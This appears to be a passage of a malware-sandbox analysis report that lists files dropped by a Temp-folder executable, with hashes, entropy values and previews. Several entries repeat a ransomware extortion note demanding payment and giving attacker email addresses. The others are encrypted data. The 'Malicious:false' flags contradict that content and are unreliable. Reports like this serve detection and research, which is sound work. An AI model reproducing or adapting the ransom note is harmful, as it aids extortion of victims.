                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1802
                                                                                                                                        Entropy (8bit):7.877141120479404
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:FPZ3CZNDRoWhXQKRJHmC9++hhlPJQflMS:FhSZkWhXQKRJDthdMSS
                                                                                                                                        MD5:16F366BC34C784606BFC9D700063F838
                                                                                                                                        SHA1:26DFFB172F8B41FD35FC06DA5C112FB73712B643
                                                                                                                                        SHA-256:D28E7D8B7B590AFB8D69D1A9052D4A490769423E8E863FDBE3FC5780AF3F4D02
                                                                                                                                        SHA-512:2DB4E4943296CF76AE71321BE095A18D37F1BCE472C740655C2A56004CF47206BDE9421B116809016515D8BEDBE9FAC7B4502443F96CFC8AB183FE9F79EBB947
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.r4y..m..#...Uz...o;...zP.lTL...u...5h.K..r.........9..i..8t.zH}..IN../>...,...+...zX..2..<.p!...+9QC.W.N.KZ.....1.aM......$...3[.=..0.t..].qRX..n......>.I........7z.4..l:.q\BD.`.8..0.w..F..{RL.T..K..H6.$..~.)k.5V...\.`R.s.|.....=)...h. .s8.#?W.;..X.04..$?...P.D<.....riC].....2.z.r.......=A....I.'.....J.....(.rV".........g.d..4.^.. ....F....."F..D..-..!.\.C...Y..a/,.mD.hH'8t....B...b...3....P...X..%#.I.nb..U.F....C@[y8.....[#....M..........|z...h.B..bW...:... &H..-.i._....-...B.A.J........}..e{./v..j..d...]:%....l...9]l.l..<Y._....K.-.....z./v).e....j..%..3.k...g_VxVLo.`.@'..Rq?I.N..R..{..sF%g.G.iM..-`kj...].vgN..x H>.vz.A.....[..PR...W..#...=.#..F.....[.Gv...fb.9..z"^......2/.........../..#..j..A)...c......Q..M.........8.Yt.).z.\..1ON.].e.......,b/A..........'?U...v..(=.#.z.%;c....PA.UGL.....OG....E.......4..]nG9.K..X....:.....WE..1{....np.KD).]Y.....y.|x.r.<..Lb..g_.[.M...tt.O...D.?nn."..Y.3~&.i..7..v.. .|.].V.{......o.}`.2SW=...4...S.R
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1802
                                                                                                                                        Entropy (8bit):7.877141120479404
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:48:FPZ3CZNDRoWhXQKRJHmC9++hhlPJQflMS:FhSZkWhXQKRJDthdMSS
                                                                                                                                        MD5:16F366BC34C784606BFC9D700063F838
                                                                                                                                        SHA1:26DFFB172F8B41FD35FC06DA5C112FB73712B643
                                                                                                                                        SHA-256:D28E7D8B7B590AFB8D69D1A9052D4A490769423E8E863FDBE3FC5780AF3F4D02
                                                                                                                                        SHA-512:2DB4E4943296CF76AE71321BE095A18D37F1BCE472C740655C2A56004CF47206BDE9421B116809016515D8BEDBE9FAC7B4502443F96CFC8AB183FE9F79EBB947
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.r4y..m..#...Uz...o;...zP.lTL...u...5h.K..r.........9..i..8t.zH}..IN../>...,...+...zX..2..<.p!...+9QC.W.N.KZ.....1.aM......$...3[.=..0.t..].qRX..n......>.I........7z.4..l:.q\BD.`.8..0.w..F..{RL.T..K..H6.$..~.)k.5V...\.`R.s.|.....=)...h. .s8.#?W.;..X.04..$?...P.D<.....riC].....2.z.r.......=A....I.'.....J.....(.rV".........g.d..4.^.. ....F....."F..D..-..!.\.C...Y..a/,.mD.hH'8t....B...b...3....P...X..%#.I.nb..U.F....C@[y8.....[#....M..........|z...h.B..bW...:... &H..-.i._....-...B.A.J........}..e{./v..j..d...]:%....l...9]l.l..<Y._....K.-.....z./v).e....j..%..3.k...g_VxVLo.`.@'..Rq?I.N..R..{..sF%g.G.iM..-`kj...].vgN..x H>.vz.A.....[..PR...W..#...=.#..F.....[.Gv...fb.9..z"^......2/.........../..#..j..A)...c......Q..M.........8.Yt.).z.\..1ON.].e.......,b/A..........'?U...v..(=.#.z.%;c....PA.UGL.....OG....E.......4..]nG9.K..X....:.....WE..1{....np.KD).]Y.....y.|x.r.<..Lb..g_.[.M...tt.O...D.?nn."..Y.3~&.i..7..v.. .|.].V.{......o.}`.2SW=...4...S.R
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Secret Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5898
                                                                                                                                        Entropy (8bit):7.436416424479572
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:LAPI0Pa2pP+UOt8f4AMOpzVKCFr+LGxQ2ZfyYL3sZDodRxiHb0KH:LAACJpPt7HpzwaqpqfyM8FodUN
                                                                                                                                        MD5:322176BD0B044EBC72BFD8FCD84D8F99
                                                                                                                                        SHA1:C92FE333EA7C0AD25A3E1ABFDF42B6E74CB8B6EC
                                                                                                                                        SHA-256:4DA68B75686D649E7CEDB0FC3529D7B2CEF00EFF6941BA2390582B47130CFB6B
                                                                                                                                        SHA-512:24C6703F075084450696F4B1245B555F52B3BCF0584A39D2CEDEA54C1B9E786EDB486E3394FE363B00DC43C8854D92619555372096560D892D243C9747FF5D5A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.W.....6..#.l..h...[......XK.N....>..E....FN0...?...A..8.....X.j.i...z.&.kv.(.....UW.*...2........h.abF../.......$f*w%V..O..?i,<TB%..W..dE*_......9.+BR..Lj.1......:....EF....A.W}..pO2.....wan...><......y.q.....O.h....P..X7.:.......l.8p..)=.7.\.0...H.5u......Q.V..k4.<Se..Ry......Q.'.,..xJs..M..Z.z%.W2}......O..K..M3.*.t..c9.g......y..W..F....vf.$.M.......YA.....:g..MqFz.|R?-....k.{ R59..I.Fn.8...{....]{.>.........kI..5........:1.Ko......|.+C..\.~..u.(..J.x........$.{..M#z. +.2..D...G4.2..%.P..eM..=x...0t..L.RM...K.;.zU..4.7._..'=#9U.W......0,.....(.?|8.....):.........;....^...*..E.. ...=8.p...,.PF_...1....=J....(.W#......).U..*/......d.U...*.7"P....\..u..z..;7.D.W.#Q&.}....._...&.?x?O`...R4K.........[z<...38.X1k.23.r,.M....s....U.... W...{qa.=....\..p.x.....(.d.....7.$...S.(.R....3.p.Sw..R..k=...{U..%E....I....r....zzl...@q.L...q.b....cb..Y.S.b..7j..:....!_...X$...........<..jL.=._........kZ.'..w=.`.~..%]....p.......+g..\e{$..8...|....-<j.(.{.7.4
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Secret Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5898
                                                                                                                                        Entropy (8bit):7.436416424479572
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:LAPI0Pa2pP+UOt8f4AMOpzVKCFr+LGxQ2ZfyYL3sZDodRxiHb0KH:LAACJpPt7HpzwaqpqfyM8FodUN
                                                                                                                                        MD5:322176BD0B044EBC72BFD8FCD84D8F99
                                                                                                                                        SHA1:C92FE333EA7C0AD25A3E1ABFDF42B6E74CB8B6EC
                                                                                                                                        SHA-256:4DA68B75686D649E7CEDB0FC3529D7B2CEF00EFF6941BA2390582B47130CFB6B
                                                                                                                                        SHA-512:24C6703F075084450696F4B1245B555F52B3BCF0584A39D2CEDEA54C1B9E786EDB486E3394FE363B00DC43C8854D92619555372096560D892D243C9747FF5D5A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.W.....6..#.l..h...[......XK.N....>..E....FN0...?...A..8.....X.j.i...z.&.kv.(.....UW.*...2........h.abF../.......$f*w%V..O..?i,<TB%..W..dE*_......9.+BR..Lj.1......:....EF....A.W}..pO2.....wan...><......y.q.....O.h....P..X7.:.......l.8p..)=.7.\.0...H.5u......Q.V..k4.<Se..Ry......Q.'.,..xJs..M..Z.z%.W2}......O..K..M3.*.t..c9.g......y..W..F....vf.$.M.......YA.....:g..MqFz.|R?-....k.{ R59..I.Fn.8...{....]{.>.........kI..5........:1.Ko......|.+C..\.~..u.(..J.x........$.{..M#z. +.2..D...G4.2..%.P..eM..=x...0t..L.RM...K.;.zU..4.7._..'=#9U.W......0,.....(.?|8.....):.........;....^...*..E.. ...=8.p...,.PF_...1....=J....(.W#......).U..*/......d.U...*.7"P....\..u..z..;7.D.W.#Q&.}....._...&.?x?O`...R4K.........[z<...38.X1k.23.r,.M....s....U.... W...{qa.=....\..p.x.....(.d.....7.$...S.(.R....3.p.Sw..R..k=...{U..%E....I....r....zzl...@q.L...q.b....cb..Y.S.b..7j..:....!_...X$...........<..jL.=._........kZ.'..w=.`.~..%]....p.......+g..\e{$..8...|....-<j.(.{.7.4
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:OpenPGP Secret Key
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):5898
                                                                                                                                        Entropy (8bit):7.436416424479572
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:LAPI0Pa2pP+UOt8f4AMOpzVKCFr+LGxQ2ZfyYL3sZDodRxiHb0KH:LAACJpPt7HpzwaqpqfyM8FodUN
                                                                                                                                        MD5:322176BD0B044EBC72BFD8FCD84D8F99
                                                                                                                                        SHA1:C92FE333EA7C0AD25A3E1ABFDF42B6E74CB8B6EC
                                                                                                                                        SHA-256:4DA68B75686D649E7CEDB0FC3529D7B2CEF00EFF6941BA2390582B47130CFB6B
                                                                                                                                        SHA-512:24C6703F075084450696F4B1245B555F52B3BCF0584A39D2CEDEA54C1B9E786EDB486E3394FE363B00DC43C8854D92619555372096560D892D243C9747FF5D5A
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.W.....6..#.l..h...[......XK.N....>..E....FN0...?...A..8.....X.j.i...z.&.kv.(.....UW.*...2........h.abF../.......$f*w%V..O..?i,<TB%..W..dE*_......9.+BR..Lj.1......:....EF....A.W}..pO2.....wan...><......y.q.....O.h....P..X7.:.......l.8p..)=.7.\.0...H.5u......Q.V..k4.<Se..Ry......Q.'.,..xJs..M..Z.z%.W2}......O..K..M3.*.t..c9.g......y..W..F....vf.$.M.......YA.....:g..MqFz.|R?-....k.{ R59..I.Fn.8...{....]{.>.........kI..5........:1.Ko......|.+C..\.~..u.(..J.x........$.{..M#z. +.2..D...G4.2..%.P..eM..=x...0t..L.RM...K.;.zU..4.7._..'=#9U.W......0,.....(.?|8.....):.........;....^...*..E.. ...=8.p...,.PF_...1....=J....(.W#......).U..*/......d.U...*.7"P....\..u..z..;7.D.W.#Q&.}....._...&.?x?O`...R4K.........[z<...38.X1k.23.r,.M....s....U.... W...{qa.=....\..p.x.....(.d.....7.$...S.(.R....3.p.Sw..R..k=...{U..%E....I....r....zzl...@q.L...q.b....cb..Y.S.b..7j..:....!_...X$...........<..jL.=._........kZ.'..w=.`.~..%]....p.......+g..\e{$..8...|....-<j.(.{.7.4
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.861939001888067
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ZUldePTjjCqmCXdKi1lXJO+410AD8yaOaBA21rrHiUIwd4JYkJPqp3o18czPzq2:qdUTjOp6A+pitgyfaa2drHCwdn+43oW2
                                                                                                                                        MD5:5D54156EB1ECE752B21F59B8D24A7FDF
                                                                                                                                        SHA1:C04C1A08A589B57ABB94C007993F2DD5694DF427
                                                                                                                                        SHA-256:9DD4D1674868ACDE5A6A11C8AA381AE37E8DAF3B411602C38A818F813C448256
                                                                                                                                        SHA-512:19F38744DA216E5C797EFD3113E4559F4B37F37BE1B227679F094F5224EEF3FCB3CE6522DD7C83E61195C58442B9E302C0884F657FF38A026F65834192CD0FBE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Z.x.Jyr...;....l+..8..!..j5....t.a.M.T=.......{.g.?.Y`s!u.L...(..._.,5......2..*....)^....W..g...GRaCw.9.#.1..'.......w..P...u,.`......Nc6/..1X...?QTV...6J..Q.K...>"(...c...1....t}.M.0JgE.@....n..'.H.....2.E...3....,..#fJ....V)...".V....+M@`..m..V...v,.q..{..n...).;..d...\.FE....|`a...V....`b1Y[M....t.8C...Y.>.)EO...]....j..R.R....8...l;......n=...Z...k..xwH...C.i]...9~,..PJ...1..F.$..U...>..1}jl.>."..L..v...S...S....@.'....../Pz.Sp..P.h........k.Q....*Z..0...~=........Y.......a.B1."/.,..b.....i.....[Z.....K..q67.......$.\...;Iu.S5*......3.z....A.n.....\X..BO....>..|...%>#.q<.w]m.@2.z.E4...I..0.m...ow..K.gc,.g......f.T..z.j.d...o..i...G.^.l$...l.[.../.m./.h.....[@.....O.g..,..6.o.g.EC.i..=.b.=..i..'....u...5.f.ON....A...5.X.SK.&L.!.........}. ..R.^....V..9:........!......H..j..tz.....N&.m<...~eJ"8......5..v..uZ....W..~o$(..xW.#..r..oK..L.c.o_z.c+Z..x@!..Y.|....y....=..'[cH..u..#.J...j...%.:K..Z..g.=..Y6...W.a.\.~....(p$.j...+./.}..a.ho`
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.861939001888067
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:ZUldePTjjCqmCXdKi1lXJO+410AD8yaOaBA21rrHiUIwd4JYkJPqp3o18czPzq2:qdUTjOp6A+pitgyfaa2drHCwdn+43oW2
                                                                                                                                        MD5:5D54156EB1ECE752B21F59B8D24A7FDF
                                                                                                                                        SHA1:C04C1A08A589B57ABB94C007993F2DD5694DF427
                                                                                                                                        SHA-256:9DD4D1674868ACDE5A6A11C8AA381AE37E8DAF3B411602C38A818F813C448256
                                                                                                                                        SHA-512:19F38744DA216E5C797EFD3113E4559F4B37F37BE1B227679F094F5224EEF3FCB3CE6522DD7C83E61195C58442B9E302C0884F657FF38A026F65834192CD0FBE
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:Z.x.Jyr...;....l+..8..!..j5....t.a.M.T=.......{.g.?.Y`s!u.L...(..._.,5......2..*....)^....W..g...GRaCw.9.#.1..'.......w..P...u,.`......Nc6/..1X...?QTV...6J..Q.K...>"(...c...1....t}.M.0JgE.@....n..'.H.....2.E...3....,..#fJ....V)...".V....+M@`..m..V...v,.q..{..n...).;..d...\.FE....|`a...V....`b1Y[M....t.8C...Y.>.)EO...]....j..R.R....8...l;......n=...Z...k..xwH...C.i]...9~,..PJ...1..F.$..U...>..1}jl.>."..L..v...S...S....@.'....../Pz.Sp..P.h........k.Q....*Z..0...~=........Y.......a.B1."/.,..b.....i.....[Z.....K..q67.......$.\...;Iu.S5*......3.z....A.n.....\X..BO....>..|...%>#.q<.w]m.@2.z.E4...I..0.m...ow..K.gc,.g......f.T..z.j.d...o..i...G.^.l$...l.[.../.m./.h.....[@.....O.g..,..6.o.g.EC.i..=.b.=..i..'....u...5.f.ON....A...5.X.SK.&L.!.........}. ..R.^....V..9:........!......H..j..tz.....N&.m<...~eJ"8......5..v..uZ....W..~o$(..xW.#..r..oK..L.c.o_z.c+Z..x@!..Y.|....y....=..'[cH..u..#.J...j...%.:K..Z..g.=..Y6...W.a.\.~....(p$.j...+./.}..a.ho`
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.844865644570167
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:1Q25NnuAzV1v1kx2TBM1jj8WcI7PU1VBVFKnW0qDtiUDyWekBDX4DH:+2TnVBI1j0I7c1anWP8UDyXkBa
                                                                                                                                        MD5:D5599A679E4AF43D9D1C18E8A43D56C5
                                                                                                                                        SHA1:65796D49A1B8EF6AC89E732FB716D21136C48EB7
                                                                                                                                        SHA-256:8A64A9AEBC5365BF94CF8D342A8AD7F6493885D28E88AABB31E7E3E30B8B5C9F
                                                                                                                                        SHA-512:298BA92CE966134E79EB6E095DC8DDE62F4C334823EEA4690995F7552349D2F258659DBA7358C3106DEB31C26CB77720504FECB4C77CAC24D4168D7B0FCC8067
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:t.3......e.%..PnAf_J.hV.V..A/.\:..._.d...\.F.K...|......aX...}.s...X...J....1.JT...3..te...O.8X.:....A.w..-.74x.CC..,f..rN....6X...s......S=jP..,3..5.p7...+.).`.{....`..........w\.c2..bA..&..,`..t..1...B&].....n..r.K..u..x....:...-..........k+../.E0....!_........c.o.V......U.1..y........].y..X:...gG......=/.B...+...e.<.6..........e..D%.'..R:...>..l...A.*87mC....Qu.(s...r......D../(::wE5M. ..&.0B....v...1h.I.1..[.;..gv...0.pni{5.c...q.~uB...E`......mv....BK9...}m..I9~\g6..........u.c......2.>.$/o..C......a'Ag.D..VIR..<m....eK..e.Z..~_.....l.W.D..r..v..*.V(k...W#..%..c...M/^...w.|..;.>..H...d....,+.k.K..x..7....1...o.j..dX/p.8{z.^.~..Yr.YJ......gZ..........\.D..:.`..%.V.J.....Y..z..j..5~p..!..R....Q...l..c...{8......'...PHL..sbq..-iN.....V...no.qEI.>...7.G...Y-;....b....zh.N..4Ag....P.2gG=...W...<:M...PI.`n..2.PNda.....\..b@.....a.{T.i........$...~..[...I.=... .vK.....,:/...2h`|..|1..._.....Z.9..av.....o....,.#.}... .fym.....7..7........
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.844865644570167
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:1Q25NnuAzV1v1kx2TBM1jj8WcI7PU1VBVFKnW0qDtiUDyWekBDX4DH:+2TnVBI1j0I7c1anWP8UDyXkBa
                                                                                                                                        MD5:D5599A679E4AF43D9D1C18E8A43D56C5
                                                                                                                                        SHA1:65796D49A1B8EF6AC89E732FB716D21136C48EB7
                                                                                                                                        SHA-256:8A64A9AEBC5365BF94CF8D342A8AD7F6493885D28E88AABB31E7E3E30B8B5C9F
                                                                                                                                        SHA-512:298BA92CE966134E79EB6E095DC8DDE62F4C334823EEA4690995F7552349D2F258659DBA7358C3106DEB31C26CB77720504FECB4C77CAC24D4168D7B0FCC8067
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:t.3......e.%..PnAf_J.hV.V..A/.\:..._.d...\.F.K...|......aX...}.s...X...J....1.JT...3..te...O.8X.:....A.w..-.74x.CC..,f..rN....6X...s......S=jP..,3..5.p7...+.).`.{....`..........w\.c2..bA..&..,`..t..1...B&].....n..r.K..u..x....:...-..........k+../.E0....!_........c.o.V......U.1..y........].y..X:...gG......=/.B...+...e.<.6..........e..D%.'..R:...>..l...A.*87mC....Qu.(s...r......D../(::wE5M. ..&.0B....v...1h.I.1..[.;..gv...0.pni{5.c...q.~uB...E`......mv....BK9...}m..I9~\g6..........u.c......2.>.$/o..C......a'Ag.D..VIR..<m....eK..e.Z..~_.....l.W.D..r..v..*.V(k...W#..%..c...M/^...w.|..;.>..H...d....,+.k.K..x..7....1...o.j..dX/p.8{z.^.~..Yr.YJ......gZ..........\.D..:.`..%.V.J.....Y..z..j..5~p..!..R....Q...l..c...{8......'...PHL..sbq..-iN.....V...no.qEI.>...7.G...Y-;....b....zh.N..4Ag....P.2gG=...W...<:M...PI.`n..2.PNda.....\..b@.....a.{T.i........$...~..[...I.=... .vK.....,:/...2h`|..|1..._.....Z.9..av.....o....,.#.}... .fym.....7..7........
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.842017492361272
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:8pSe47+5jCkc6St4hgWPMtAKVyIRuHPz9iBJRRTL4t2Unpiyrbi7LcwRgMhUiqx:xJzV6/hgQLOIHBoJnL4p/rbi74wRgMUx
                                                                                                                                        MD5:A670EAC2BC5B4574668E061D9721421D
                                                                                                                                        SHA1:503ABBD945FC9BA791E548C350E6A571E83E8C1C
                                                                                                                                        SHA-256:BC4A564BAD44C5EDD79ABDC72D84742C0951D4CB0B78EA0C3E0D9E8E07545390
                                                                                                                                        SHA-512:D1009510DCB3781DB49509C140CC70A6FB3E1C3D169DD2E0D3B695F05A0EE1A190F39478F664103D0FD2B7E004F3901F0F84757B00CB1878E204837542D52758
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:.V....}..<bF..z..7t...5]...[.\".......F."..-......q....*{.A.'.bl.......C.*Th'.`I=\.%.QF...Z.?i.........YuT..!.g.7ZC4B=..X..5.....~....mF.)}-..N.o..U.y....e.N.@n....9%.....W..q4....{..[.MOY..P...w....y.9.......B.P..N.sK..).0L..y........J.R4.yA.C..d..$.8P....@..vhOl.>....+.....\Lr\$..p.......S\OW.Z..q..=..B9#....=..H45t.;. 4/bj.I.*....bE..<..N..P..{5R.%.3.......'.V6.m...a..\&..:...Z.o.8....S..{..=..q...._x.g...%Z.I"...?/...C...(.^eBW....q.sX..h.....j..{S.............".../.9....] ..........`.F.#/.L....D...Mz..&\ ....j.....<...e..y..`1t)J*..#[S.p.0B.C...te(*U1t..}.(b.S..s........F..0I.<D.^6.eW..D.c.G.tu.......D<&..d...L.....n.k>/].<J..t.X.T.m_...04.k.;..G....t....].......f.@.....>..O.t.D......t...LPK.;Y.......W.b.n.P.)0..&......1.hd...,m?.......[..0.....}.......O...P.6..~$.....M...k..]A.....Zf..^...rc..j...*H.+]U.........^...+X}..i.DG..R.U....nt...}...0<.....\6.......y.Ed....M...5?5.#.....Y.J5...W.u..W..>.Z...#.g!.^.5`.O..$d........sgl...9.@.;..
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):1292
                                                                                                                                        Entropy (8bit):7.842017492361272
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:24:8pSe47+5jCkc6St4hgWPMtAKVyIRuHPz9iBJRRTL4t2Unpiyrbi7LcwRgMhUiqx:xJzV6/hgQLOIHBoJnL4p/rbi74wRgMUx
                                                                                                                                        MD5:A670EAC2BC5B4574668E061D9721421D
                                                                                                                                        SHA1:503ABBD945FC9BA791E548C350E6A571E83E8C1C
                                                                                                                                        SHA-256:BC4A564BAD44C5EDD79ABDC72D84742C0951D4CB0B78EA0C3E0D9E8E07545390
